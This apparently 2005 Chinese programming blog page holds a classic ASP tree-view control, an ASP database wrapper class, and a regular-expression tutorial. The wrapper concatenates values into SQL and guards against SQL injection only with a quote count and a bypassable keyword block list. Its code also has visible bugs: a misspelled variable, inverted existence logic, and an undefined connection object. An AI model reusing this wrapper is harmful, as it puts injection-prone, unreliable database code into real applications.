CreateChild.ExpandImage = ExpandImage
CreateChild.CollapseImage = CollapseImage
CreateChild.LeafImage = LeafImage

mcolChildren.Add mcolChildren.Count + 1, CreateChild

End Function

Public Sub Draw()

LoadState()

Response.Write "<table border=""0"">" & vbCrLf
Response.Write "<tr><td>" & vbCrLf

If Expanded Then
Response.Write "<a href=""javascript:collapseNode('" & mszName & "')""><img src=""" & CollapseImage & """ border=""0""></a>" & vbCrLf
ElseIf Not mbChildrenInitialized Then
Response.Write "<img src=""" & LeafImage & """ border=0>" & vbCrLf
Else
Response.Write "<a href=""javascript:expandNode('" & mszName & "')""><img src=""" & ExpandImage & """ border=""0""></a>" & vbCrLf
End If

Response.Write "</td>" & vbCrLf
Response.Write "<td>" & Value & "</td></tr>" & vbCrLf

If Expanded Then
Response.Write "<input type=""hidden"" name=""" & mszName & """ value=""1"">" & vbCrLf

If mbChildrenInitialized Then
Response.Write "<tr><td> </td>" & vbCrLf
Response.Write "<td>" & vbCrLf

For Each ChildNode In mcolChildren.Items
ChildNode.Draw()
Next

Response.Write "</td>" & vbCrLf
Response.Write "</tr>" & vbCrLf
End If
End If

Response.Write "</table>" & vbCrLf

End Sub

End Class


Class Tree

Public Top
Public Left
Public ExpandImage
Public CollapseImage
Public LeafImage
Private mszPosition
Private mcolChildren

Public Property Let Absolute(bData)
If bData Then mszPosition = "absolute" Else mszPosition = "relative"
End Property

Public Property Get Absolute()
Absolute = CBool(mszPosition = "absolute")
End Property

Private Sub Class_Initialize()
Set mcolChildren = Server.CreateObject("Scripting.Dictionary")
mnTop = 0
mnLeft = 0
mszPosition = "absolute"
End Sub

Private Sub Class_Terminate()
mcolChildren.RemoveAll()
Set mcolChildren = Nothing
End Sub

Public Function CreateChild(szValue)

Set CreateChild = New TreeNode

CreateChild.Value = szValue
CreateChild.ExpandImage = ExpandImage
CreateChild.CollapseImage = CollapseImage
CreateChild.LeafImage = LeafImage

mcolChildren.Add mcolChildren.Count + 1, CreateChild

End Function

Public Sub LoadTemplate(szFileName)
Dim objWorkingNode
Dim colNodeStack
Dim fsObj, tsObj
Dim szLine
Dim nCurrDepth, nNextDepth

Set colNodeStack = Server.CreateObject("Scripting.Dictionary")
Set fsObj = CreateObject("Scripting.FileSystemObject")
Set tsObj = fsObj.OpenTextFile(szFileName, 1)

nCurrDepth = 0
While Not tsObj.AtEndOfLine
nNextDepth = 1
szLine = tsObj.ReadLine()

If nCurrDepth = 0 Then
Set objWorkingNode = CreateChild(Trim(szLine))
nCurrDepth = 1
Else
While Mid(szLine,nNextDepth,1) = vbTab Or Mid(szLine,nNextDepth,1) = " "
nNextDepth = nNextDepth + 1
WEnd

If nNextDepth > 1 Then szLine = Trim(Mid(szLine,nNextDepth))

If szLine <> "" Then
If nNextDepth > nCurrDepth Then
If colNodeStack.Exists(nCurrDepth) Then
Set colNodeStack.Item(nCurrDepth) = objWorkingNode
Else
colNodeStack.Add nCurrDepth, objWorkingNode
End If

Set objWorkingNode = objWorkingNode.CreateChild(szLine)

nCurrDepth = nCurrDepth + 1
ElseIf nNextDepth <= nCurrDepth Then

If nNextDepth > 1 Then

nNextDepth = nNextDepth - 1
While Not colNodeStack.Exists(nNextDepth) And nNextDepth > 1
nNextDepth = nNextDepth - 1
WEnd

Set objWorkingNode = colNodeStack.Item(nNextDepth)
Set objWorkingNode = objWorkingNode.CreateChild(szLine)

nNextDepth = nNextDepth + 1
Else
Set objWorkingNode = CreateChild(szLine)
End If

nCurrDepth = nNextDepth
End If
End If

End If
WEnd

tsObj.Close()
Set tsObj = Nothing
Set fsObj = Nothing

colNodeStack.RemoveAll()
Set colNodeStack = Nothing

End Sub


Public Sub Draw()

AddClientScript()

Response.Write "<div id=""treectrl"" style=""left: " & Left & "px; top: " & Top & "px; position: " & mszPosition & ";"">" & vbCrLf
Response.Write "<form name=""treectrlfrm"" action=""" & Request.ServerVariables("SCRIPT_NAME") & """ method=""get"">" & vbCrLf
Response.Write "<table border=""0"">" & vbCrLf
Response.Write "<tr><td>" & vbCrLf

For Each ChildNode In mcolChildren.Items
ChildNode.Draw()
Next

Response.Write "</td></tr>" & vbCrLf
Response.Write "</table>" & vbCrLf

Response.Write "<input type=""hidden"" name=""togglenode"" value="""">" & vbCrLf
Response.Write "</form>" & vbCrLf
Response.Write "</div>" & vbCrLf

End Sub

Private Sub AddClientScript()
%>
<script language="javascript">

function expandNode(szNodeName)
{
if(document.layers != null) {
document.treectrl.document.treectrlfrm.togglenode.value = szNodeName;
document.treectrl.document.treectrlfrm.submit();
}
else {
document.all["treectrlfrm"].togglenode.value = szNodeName;
document.all["treectrlfrm"].submit();
}
}

function collapseNode(szNodeName)
{
if(document.layers != null) {
document.treectrl.document.treectrlfrm.elements[szNodeName].value = -1;
document.treectrl.document.treectrlfrm.submit();
}
else {
document.treectrlfrm.elements[szNodeName].value = -1;
document.treectrlfrm.submit();
}
}

</script>
<%
End Sub

End Class

%>

posted @ 2005-07-07 10:35 一天一点爱恋 阅读(192) | 评论 (0)编辑 收藏
 

这几天开始接触JSP里面一些BEAN的写法,然后自己想了想,认为其实在ASP里面也可以采取这一思想来做。虽然不是很纯,不彻底,但是能够把一些逻辑处理分离出来,更适合程序的移植性,提高了开发周期。我自己写了个类ConnEX包含了一些对数据库的操作,觉得应该可以包括一大部分的逻辑处理,但是这样也提高了错误几率,如果你把SQL语句控制的比较好的话,应该是利大于弊的,这里都是一点点拙见,望大家指正。

程序的功能有了个大体的框架,其实可以自己添加一些功能,比如开始的数据库连接 ,可以先设置变量然后通过INIT() 来选择不同类型的数据库

<%
'*******************************************************************************************
'* 程序:ConnEx.asp
'*
'* 描述:模仿JAVABEAN写的一个类,专门操作数据库,提供多种方法操作,但要避免SQL语法错误!
'*
'* 作者:田野 Email:Foxty@sina.com
'*
'* 日期:2005.06.0
'*******************************************************************************************


'On Error Resume Next
Class ConnEx
public ConnEx
public DBpath '---------数据库路径
public DBtype '---------数据库类型 1(Access) 2(SqlServer) 3(可扩充)
public ConnMethod '--------连接方式 (DSN,非DSN)
public User
public Pass
Sub Class_initialize
End Sub

Sub Init()
ConnStr = "Driver={Microsoft Access Driver (*.mdb)};dbq="&Server.MapPath("Date.mdb")
Set ConnEx = Server.Createobject("ADODB.CONNECTION")
ConnEx.Open ConnStr
CatchError("Class_Terminate")
End Sub

Sub CatchError( Str )
If Err Then
Err.Clear
Class_Terminate()
Response.Write("捕捉到错误,程序结束!在"&Str&"处")
Response.End()
End If
End Sub

'******************************************
'*通过SQL语句来查找记录是否存在,容易出错
'******************************************

Function HasRecordBySql( Sql )
Call CheckSql(Sql,"R")
Dim Rs,HasR
Set Rs = ConnEx.Execute( Sql )
CatchError("HasReordSql")
If Not (Rs.eof Or Rs.bof) Then
HasR = False
Else
HasR = True
End If
Rs.Close
Set Rs = Nothing
HasRecordBySql = HasR
End Function

'***************************************
'*通过ID来查找记录是否存在
'***************************************

Function HasRecordById( StrTableName , IntID )
'CheckValue( IntID , 1 )
Dim Rs,HasR
Sql = "Select top 1 * from "&StrTableName&" Where Id = "&IntID
Call CheckSql(Sql,"R")
Set Rs = ConnEx.Execute(Sql)
CatchError("HasRecordByID")
If Not (Rs.eof Or Rs.bof) Then
HasR = False
Else
HasR = True
End If
Rs.close
Set Rs = Nothing
HasRecordById = HasR
End Function

'**********************************************
'*通过SQL语句取得记录集
'**********************************************
Function GetRsBySql( Sql )
Call CheckSql(Sql,"R")
Dim Rs
Set Rs = Server.CreateObject("Adodb.RecordSet")
Rs.Open Sql,ConnEx,1,1
Set GetRsBySql = Rs
End Function

'*********************************************
'*取得某个字段的值
'*********************************************
Function GetValueBySql( Sql )
Call CheckSql(Sql,"R")
Dim Rs,ReturnValue
Set Rs = ConnEx.Execute(Sql)
CatchError("GetValueBySql")
If Not( Rs.Eof Or Rs.Bof ) Then
ReturnValue = Rs(0)
Else
ReturnValue = "没有记录"
End If
Rs.Close
Set Rs = Nothing
GetValueBySql = ReturnValue
End Function

'==================================================Update,Insert==================================================================

'*********************************************
'*利用SQL修改数据
'*********************************************
Function UpdateBySql( Sql )
Call CheckSql(Sql,"w")
ConnEx.Execute(Sql)
CatchError("UpdateBySql")
UpdateBySql = True
End Function

'********************************************
'*利用SQL语句插入数据
'********************************************
Function InsertBySql(Sql)
Call CheckSql(Sql,"w")
ConnEx.Execute(Sql)
CatchError("InsertBySql")
InsertBySql = True
End Function

'======================================================Delete=============================================================

'********************************************
'*通过SQL语句删除
'********************************************
Function DeleteBySql( Sql )
Call CheckSql(Sql,"D")
ConnEx.Execute(Sql)
CatchError("DeleteBySql")
DeleteBySql = True
End Function

'********************************************
'*检查SQL语句权限,根据标志Flag 来检测语句拥有的权限
'********************************************
Sub CheckSql( Sql , Flag )
Dim StrSql,SinCounts,DouCounts,i
StrSql = Lcase(Sql)
SinCounts = 0
DouCounts = 0
For i = 1 to Len(StrSql)
If Mid(StrSql,i,1) = "'" Then SinCounts = SinCounts + 1
If Mid(StrSql,i,1) = """" Then DouConnts = DouCounts + 1
Next

If (SinCounts Mod 2) <> 0 Or (DouCounts Mod 2) <> 0 Or Instr(StrSql,";") > 0 Then
Call Class_Terminate()
Response.Write("SQL语法错误!")
Response.End()
End If
Select Case Flag
Case "R","r":
If Instr(StrSql,"delete") > 0 Or Instr(StrSql,"update") Or Instr(StrSql,"drop") > 0 Or Instr(StrSql,"insert") > 0 Then
Class_Terminate()
Response.Write("权限不足,没有执行写操作的权限")
Response.End()
End If
Case "W","w":
If Instr(StrSql,"delete") > 0 Or Instr(StrSql,"drop") > 0 Or Instr(StrSql,"select") > 0 Then
Class_Terminate()
Response.Write("权限不足,没有执行删除操作的权限")
Response.End()
End If
Case "D","d":
Case Else:
Response.Write("函数CheckSql标志错误!")
End Select
End Sub

Sub Class_Terminate
If Not IsEmpty(FriendConn) Then
FriendConn.Close
Set FriendConn = Nothing
CatchError()
End If
End Sub
End Class
%>

posted @ 2005-07-07 10:34 一天一点爱恋 阅读(216) | 评论 (1)编辑 收藏
 
关键字: 正则表达式,Regular Expression

作者:笑容

发表于:2004年05月03日
最后更新:2005年01月17日 19:54
版权声明:使用
创作公用版权协议

引用地址:<a href="http://oo8h.51.net/docs/regular_expression.htm">正则表达式(regular expression)</a>

NAV: 笑容的八小时外 / 笑容的八小时外资料索引

如何创建一个网站 (HOW TO: Initiate a website) Red Hat Enterprise Linux 介绍


前言

正则表达式是烦琐的,但是强大的,学会之后的应用会让你除了提高效率外,会给你带来绝对的成就感。只要认真去阅读这些资料,加上应用的时候进行一定的参考,掌握正则表达式不是问题。

索引

1._引子
2._正则表达式的历史
3._正则表达式定义

3.1_普通字符
3.2_非打印字符
3.3_特殊字符
3.4_限定符
3.5_定位符
3.6_选择
3.7_后向引用

4._各种操作符的运算优先级
5._全部符号解释
6._部分例子
7._正则表达式匹配规则

7.1_基本模式匹配
7.2_字符簇
7.3_确定重复出现


1. 引子

  目前,正则表达式已经在很多软件中得到广泛的应用,包括*nix(Linux, Unix等),HP等操作系统,PHP,C#,Java等开发环境,以及很多的应用软件中,都可以看到正则表达式的影子。

  正则表达式的使用,可以通过简单的办法来实现强大的功能。为了简单有效而又不失强大,造成了正则表达式代码的难度较大,学习起来也不是很容易,所以需要付出一些努力才行,入门之后参照一定的参考,使用起来还是比较简单有效的。

例子: ^.+@.+\\..+$

  这样的代码曾经多次把我自己给吓退过。可能很多人也是被这样的代码给吓跑的吧。继续阅读本文将让你也可以自由应用这样的代码。

  注意:这里的第7部分跟前面的内容看起来似乎有些重复,目的是把前面表格里的部分重新描述了一次,目的是让这些内容更容易理解。

2. 正则表达式的历史

  正则表达式的“祖先”可以一直上溯至对人类神经系统如何工作的早期研究。Warren McCulloch 和 Walter Pitts 这两位神经生理学家研究出一种数学方式来描述这些神经网络。

  1956 年, 一位叫 Stephen Kleene 的数学家在 McCulloch 和 Pitts 早期工作的基础上,发表了一篇标题为“神经网事件的表示法”的论文,引入了正则表达式的概念。正则表达式就是用来描述他称为“正则集的代数”的表达式,因此采用“正则表达式”这个术语。

  随后,发现可以将这一工作应用于使用 Ken Thompson 的计算搜索算法的一些早期研究,Ken Thompson 是 Unix 的主要发明人。正则表达式的第一个实用应用程序就是 Unix 中的 qed 编辑器。

  如他们所说,剩下的就是众所周知的历史了。从那时起直至现在正则表达式都是基于文本的编辑器和搜索工具中的一个重要部分。

 

3. 正则表达式定义

  正则表达式(regular expression)描述了一种字符串匹配的模式,可以用来检查一个串是否含有某种子串、将匹配的子串做替换或者从某个串中取出符合某个条件的子串等。

  • 列目录时, dir *.txt或ls *.txt中的*.txt就是一个正则表达式,因为这里*与正则式的*的含义是不同的。

  正则表达式是由普通字符(例如字符 a 到 z)以及特殊字符(称为元字符)组成的文字模式。正则表达式作为一个模板,将某个字符模式与所搜索的字符串进行匹配。

3.1 普通字符

  由所有那些未显式指定为元字符的打印和非打印字符组成。这包括所有的大写和小写字母字符,所有数字,所有标点符号以及一些符号。

3.2 非打印字符

字符 含义
\cx 匹配由x指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。
\f 匹配一个换页符。等价于 \x0c 和 \cL。
\n 匹配一个换行符。等价于 \x0a 和 \cJ。
\r 匹配一个回车符。等价于 \x0d 和 \cM。
\s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。
\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。
\t 匹配一个制表符。等价于 \x09 和 \cI。
\v 匹配一个垂直制表符。等价于 \x0b 和 \cK。

 

3.3 特殊字符

  所谓特殊字符,就是一些有特殊含义的字符,如上面说的"*.txt"中的*,简单的说就是表示任何字符串的意思。如果要查找文件名中有*的文件,则需要对*进行转义,即在其前加一个\。ls \*.txt。正则表达式有以下特殊字符。

 

特别字符 说明
$ 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'。要匹配 $ 字符本身,请使用 \$。
( ) 标记一个子表达式的开始和结束位置。子表达式可以获取供以后使用。要匹配这些字符,请使用 \( 和 \)。
* 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。
+ 匹配前面的子表达式一次或多次。要匹配 + 字符,请使用 \+。
. 匹配除换行符 \n之外的任何单字符。要匹配 .,请使用 \。
[ 标记一个中括号表达式的开始。要匹配 [,请使用 \[。
? 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \?。
\ 将下一个字符标记为或特殊字符、或原义字符、或向后引用、或八进制转义符。例如, 'n' 匹配字符 'n'。'\n' 匹配换行符。序列 '\\' 匹配 "\",而 '\(' 则匹配 "("。
^ 匹配输入字符串的开始位置,除非在方括号表达式中使用,此时它表示不接受该字符集合。要匹配 ^ 字符本身,请使用 \^。
{ 标记限定符表达式的开始。要匹配 {,请使用 \{。
| 指明两项之间的一个选择。要匹配 |,请使用 \|。
  •   构造正则表达式的方法和创建数学表达式的方法一样。也就是用多种元字符与操作符将小的表达式结合在一起来创建更大的表达式。正则表达式的组件可以是单个的字符、字符集合、字符范围、字符间的选择或者所有这些组件的任意组合。

 

3.4 限定符

  限定符用来指定正则表达式的一个给定组件必须要出现多少次才能满足匹配。有*或+或?或{n}或{n,}或{n,m}共6种。
*、+和?限定符都是贪婪的,因为它们会尽可能多的匹配文字,只有在它们的后面加上一个?就可以实现非贪婪或最小匹配。
  正则表达式的限定符有:
 
字符 描述
* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。
+ 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 中的"do" 。? 等价于 {0,1}。
{n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。
{n,} n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。
{n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,"o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。

3.5 定位符

  用来描述字符串或单词的边界,^和$分别指字符串的开始与结束,\b描述单词的前或后边界,\B表示非单词边界。不能对定位符使用限定符。

3.6 选择

  用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,是相关的匹配会被缓存,此时可用?:放在第一个选项前来消除这种副作用。
  其中?:是非捕获元之一,还有两个非捕获元是?=和?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。

3.7 后向引用

  对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左至右所遇到的内容存储。存储子匹配的缓冲区编号从 1 开始,连续编号直至最大 99 个子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
  可以使用非捕获元字符 '?:', '?=', or '?!' 来忽略对相关匹配的保存。

4. 各种操作符的运算优先级

  相同优先级的从左到右进行运算,不同优先级的运算先高后低。各种操作符的优先级从高到低如下:
 
操作符 描述
\ 转义符
(), (?:), (?=), [] 圆括号和方括号
*, +, ?, {n}, {n,}, {n,m} 限定符
^, $, \anymetacharacter 位置和顺序
| “或”操作

5. 全部符号解释

字符 描述
\ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n' 匹配一个换行符。序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。
* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 "z" 以及 "zoo"。* 等价于{0,}。
+ 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
? 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 中的"do" 。? 等价于 {0,1}。
{n} n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。
{n,} n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。
{n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,"o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。
? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。
. 匹配除 "\n" 之外的任何单个字符。要匹配包括 '\n' 在内的任何字符,请使用象 '[.\n]' 的模式。
(pattern) 匹配 pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在JScript 中则使用 $0…$9 属性。要匹配圆括号字符,请使用 '\(' 或 '\)'。
(?:pattern) 匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合一个模式的各个部分是很有用。例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。
(?=pattern) 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,'Windows (?=95|98|NT|2000)' 能匹配 "Windows 2000" 中的 "Windows" ,但不能匹配 "Windows 3.1" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
(?!pattern) 负向预查,在任何不匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如'Windows (?!95|98|NT|2000)' 能匹配 "Windows 3.1" 中的 "Windows",但不能匹配 "Windows 2000" 中的 "Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始
x|y 匹配 x 或 y。例如,'z|food' 能匹配 "z" 或 "food"。'(z|f)ood' 则匹配 "zood" 或 "food"。
[xyz] 字符集合。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。
[^xyz] 负值字符集合。匹配未包含的任意字符。例如, '[^abc]' 可以匹配 "plain" 中的'p'。
[a-z] 字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。
[^a-z] 负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。
\b 匹配一个单词边界,也就是指单词和空格间的位置。例如, 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。
\B 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。
\cx 匹配由 x 指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。
\d 匹配一个数字字符。等价于 [0-9]。
\D 匹配一个非数字字符。等价于 [^0-9]。
\f 匹配一个换页符。等价于 \x0c 和 \cL。
\n 匹配一个换行符。等价于 \x0a 和 \cJ。
\r 匹配一个回车符。等价于 \x0d 和 \cM。
\s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。
\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。
\t 匹配一个制表符。等价于 \x09 和 \cI。
\v 匹配一个垂直制表符。等价于 \x0b 和 \cK。
\w 匹配包括下划线的任何单词字符。等价于'[A-Za-z0-9_]'。
\W 匹配任何非单词字符。等价于 '[^A-Za-z0-9_]'。
\xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如,'\x41' 匹配 "A"。'\x041' 则等价于 '\x04' & "1"。正则表达式中可以使用 ASCII 编码。.
\num 匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,'(.)\1' 匹配两个连续的相同字符。
\n 标识一个八进制转义值或一个向后引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为向后引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。
\nm 标识一个八进制转义值或一个向后引用。如果 \nm 之前至少有 nm 个获得子表达式,则 nm 为向后引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的向后引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。
\nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。
\un 匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, \u00A9 匹配版权符号 (?)。

 

6. 部分例子

正则表达式 说明
/\b([a-z]+) \1\b/gi 一个单词连续出现的位置
/(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)/ 将一个URL解析为协议、域、端口及相对路径
/^(?:Chapter|Section) [1-9][0-9]{0,1}$/ 定位章节的位置
/[-a-z]/ A至z共26个字母再加一个-号。
/ter\b/ 可匹配chapter,而不能terminal
/\Bapt/ 可匹配chapter,而不能aptitude
/Windows(?=95 |98 |NT )/ 可匹配Windows95或Windows98或WindowsNT,当找到一个匹配后,从Windows后面开始进行下一次的检索匹配。

 

7. 正则表达式匹配规则

7.1 基本模式匹配

  一切从最基本的开始。模式,是正规表达式最基本的元素,它们是一组描述字符串特征的字符。模式可以很简单,由普通的字符串组成,也可以非常复杂,往往用特殊的字符表示一个范围内的字符、重复出现,或表示上下文。例如:

^once

  这个模式包含一个特殊的字符^,表示该模式只匹配那些以once开头的字符串。例如该模式与字符串"once upon a time"匹配,与"There once was a man from NewYork"不匹配。正如如^符号表示开头一样,$符号用来匹配那些以给定模式结尾的字符串。

bucket$

  这个模式与"Who kept all of this cash in a bucket"匹配,与"buckets"不匹配。字符^和$同时使用时,表示精确匹配(字符串与模式一样)。例如:

^bucket$

  只匹配字符串"bucket"。如果一个模式不包括^和$,那么它与任何包含该模式的字符串匹配。例如:模式

once

与字符串

There once was a man from NewYork
Who kept all of his cash in a bucket.

是匹配的。

  在该模式中的字母(o-n-c-e)是字面的字符,也就是说,他们表示该字母本身,数字也是一样的。其他一些稍微复杂的字符,如标点符号和白字符(空格、制表符等),要用到转义序列。所有的转义序列都用反斜杠(\)打头。制表符的转义序列是:\t。所以如果我们要检测一个字符串是否以制表符开头,可以用这个模式:

^\t

类似的,用\n表示“新行”,\r表示回车。其他的特殊符号,可以用在前面加上反斜杠,如反斜杠本身用\\表示,句号.用\.表示,以此类推。

7.2 字符簇

在INTERNET的程序中,正规表达式通常用来验证用户的输入。当用户提交一个FORM以后,要判断输入的电话号码、地址、EMAIL地址、信用卡号码等是否有效,用普通的基于字面的字符是不够的。

所以要用一种更自由的描述我们要的模式的办法,它就是字符簇。要建立一个表示所有元音字符的字符簇,就把所有的元音字符放在一个方括号里:

[AaEeIiOoUu]

这个模式与任何元音字符匹配,但只能表示一个字符。用连字号可以表示一个字符的范围,如:

[a-z] //匹配所有的小写字母
[A-Z] //匹配所有的大写字母
[a-zA-Z] //匹配所有的字母
[0-9] //匹配所有的数字
[0-9\.\-] //匹配所有的数字,句号和减号
[ \f\r\t\n] //匹配所有的白字符

同样的,这些也只表示一个字符,这是一个非常重要的。如果要匹配一个由一个小写字母和一位数字组成的字符串,比如"z2"、"t6"或"g7",但不是"ab2"、"r2d3" 或"b52"的话,用这个模式:

^[a-z][0-9]$

尽管[a-z]代表26个字母的范围,但在这里它只能与第一个字符是小写字母的字符串匹配。

前面曾经提到^表示字符串的开头,但它还有另外一个含义。当在一组方括号里使用^是,它表示“非”或“排除”的意思,常常用来剔除某个字符。还用前面的例子,我们要求第一个字符不能是数字:

^[^0-9][0-9]$

这个模式与"&5"、"g7"及"-2"是匹配的,但与"12"、"66"是不匹配的。下面是几个排除特定字符的例子:

[^a-z] //除了小写字母以外的所有字符
[^\\\/\^] //除了(\)(/)(^)之外的所有字符
[^\"\'] //除了双引号(")和单引号(')之外的所有字符

特殊字符"." (点,句号)在正规表达式中用来表示除了“新行”之外的所有字符。所以模式"^.5$"与任何两个字符的、以数字5结尾和以其他非“新行”字符开头的字符串匹配。模式"."可以匹配任何字符串,除了空串和只包括一个“新行”的字符串。

PHP的正规表达式有一些内置的通用字符簇,列表如下:

字符簇 含义
[[:alpha:]] 任何字母
[[:digit:]] 任何数字
[[:alnum:]] 任何字母和数字
[[:space:]] 任何白字符
[[:upper:]] 任何大写字母
[[:lower:]] 任何小写字母
[[:punct:]] 任何标点符号
[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]

7.3 确定重复出现

到现在为止,你已经知道如何去匹配一个字母或数字,但更多的情况下,可能要匹配一个单词或一组数字。一个单词有若干个字母组成,一组数字有若干个单数组成。跟在字符或字符簇后面的花括号({})用来确定前面的内容的重复出现的次数。

字符簇 含义
^[a-zA-Z_]$ 所有的字母和下划线
^[[:alpha:]]{3}$ 所有的3个字母的单词
^a$ 字母a
^a{4}$ aaaa
^a{2,4}$ aa,aaa或aaaa
^a{1,3}$ a,aa或aaa
^a{2,}$ 包含多于两个a的字符串
^a{2,} 如:aardvark和aaab,但apple不行
a{2,} 如:baad和aaa,但Nantucket不行
\t{2} 两个制表符
.{2} 所有的两个字符

这些例子描述了花括号的三种不同的用法。一个数字,{x}的意思是“前面的字符或字符簇只出现x次”;一个数字加逗号,{x,}的意思是“前面的内容出现x或更多的次数”;两个用逗号分隔的数字,{x,y}表示“前面的内容至少出现x次,但不超过y次”。我们可以把模式扩展到更多的单词或数字:

^[a-zA-Z0-9_]{1,}$ //所有包含一个以上的字母、数字或下划线的字符串
^[0-9]{1,}$ //所有的正数
^\-{0,1}[0-9]{1,}$ //所有的整数
^\-{0,1}[0-9]{0,}\.{0,1}[0-9]{0,}$ //所有的小数

最后一个例子不太好理解,是吗?这么看吧:与所有以一个可选的负号(\-{0,1})开头(^)、跟着0个或更多的数字([0-9]{0,})、和一个可选的小数点(\.{0,1})再跟上0个或多个数字([0-9]{0,}),并且没有其他任何东西($)。下面你将知道能够使用的更为简单的方法。

特殊字符"?"与{0,1}是相等的,它们都代表着:“0个或1个前面的内容”或“前面的内容是可选的”。所以刚才的例子可以简化为:

^\-?[0-9]{0,}\.?[0-9]{0,}$

特殊字符"*"与{0,}是相等的,它们都代表着“0个或多个前面的内容”。最后,字符"+"与 {1,}是相等的,表示“1个或多个前面的内容”,所以上面的4个例子可以写成:

^[a-zA-Z0-9_]+$ //所有包含一个以上的字母、数字或下划线的字符串
^[0-9]+$ //所有的正数
^\-?[0-9]+$ //所有的整数
^\-?[0-9]*\.?[0-9]*$ //所有的小数

